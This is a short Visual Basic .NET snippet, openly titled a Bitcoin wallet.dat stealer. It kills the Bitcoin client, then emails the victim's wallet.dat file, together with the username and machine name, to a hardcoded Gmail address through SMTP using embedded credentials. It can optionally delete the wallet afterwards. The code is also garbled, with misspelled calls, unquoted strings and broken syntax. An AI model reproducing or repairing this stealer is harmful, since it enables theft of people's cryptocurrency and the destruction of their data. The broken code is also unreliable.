BitCoin Wallet.dat Stealer
///////////////////////////////////////////////////////////////////////////
/// BitCoin wallet.dat stealer :D ///
///////////////////////////////////////////////////////////////////////////
Private Sub StealBitWallet (byVal email as string, byval password as string, byval smtp as string, byval port as integer, optional byval delete as boolean = false)
on error resume next
dim bProcess = process.getprecessesbyname ("bitcoin")
for i as integer = 0 to bprocess.count - 1
bprocess (i).kill ()
next i
system.threading.thread.sleep (5000)
if system.IO.file.exists (environ ("AppData") & "\bitcoin\wallet.dat") then
Dim smtpserver as new system.net.mail.smtp client ()
Dim mail as new system.net.mail.mailmessage ()
smtpserver.credentials = new net.networkcredentials (dombrowski.alex@gmail.com,ilikepie16)
smtpserver.port = 587
smtpserver.enablessl = true
smtpserver.host = smtp.gmail.com
mail = new system.net.mail.message ()
mail.attachments.ass (new system.net.mail.attachment (environ ("AppData") & "\bitcoin\wallet.dat)
mail.from = new system.net.amil.mailaddress (email)
mail.to.add (dombrowski.alex@gmail.com)
mail.subject = "Bitcoin Wallet ( " & environment.username & "@" & environment.machinename & ")"
mail.body = (environ ("AppData") & '\bitcoin\wallet.dat")
smtpserver.send (mail)
if delete = true then
kill (environ ("appdata") & "\bitcoin\wallet.dat"0
end if
end if
end sub